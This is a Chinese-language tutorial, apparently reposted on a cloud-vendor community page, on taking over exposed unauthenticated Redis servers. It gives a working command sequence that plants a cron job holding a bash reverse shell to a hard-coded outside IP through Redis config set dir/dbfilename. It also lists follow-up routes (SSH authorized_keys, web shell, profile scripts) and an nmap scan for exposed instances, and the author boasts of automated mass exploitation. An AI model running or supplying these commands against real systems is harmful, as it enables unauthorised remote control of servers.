Redis到GET SHELL的例子

來源:互聯網
上載者:User


背景

Redis預設安裝完成後是只能本機訪問的並且沒有密碼。

而一般公司的應用都會需要多台伺服器訪問Redis,所以營運就會將/etc/redis.conf中的bind-ip改為0.0.0.0,導致外網可以匿名訪問(不要求輸入密碼)。

外網可以訪問導致的問題是Redis資料外泄,這時候還不能造成直接利用。

但如果Redis啟動的時候是用root賬戶,則會造成GET SHELL。

利用方式

通過Redis的config命令,可以寫入任意檔案,許可權足夠的情況下即可寫入定時任務反彈得到SHELL

# 連上一台Redis
redis-cli -h your_redis_server

# 保持寫入的乾淨,清除原有資料(如果是其它人機器,不建議這麼做)
# flushall

# 設定key(0)為bash反彈shell的指令碼,每分鐘執行一次,在自己伺服器上監聽7890連接埠(nc -vvl 7890)
set 0 "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/103.21.140.84/7890 0>&1\n\n"

# 設定儲存的位置
config set dir /var/spool/cron/

# 設定儲存的檔案名稱
config set dbfilename root

# 儲存
save

多種利用姿勢

除了可以直接寫定時任務拿到SHELL,還可以有多種姿勢。

寫cron反彈一個shell
寫~/.ssh/authorized_keys,使用密鑰直接登入
找到web目錄的絕對路徑,直接寫web shell
寫初始化指令碼

/etc/profile.d/

主從模式利用

企業內部Redis匿名挖掘

通過nmap掃描內網網段的redis匿名訪問服務。(當然可以掃描外網)

$ nmap -p6379 10.11.0/16 --script redis-info
對,就是這個洞讓我wooyun排名10天前進10頁,自動化利用,每天就看下報告即可。

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.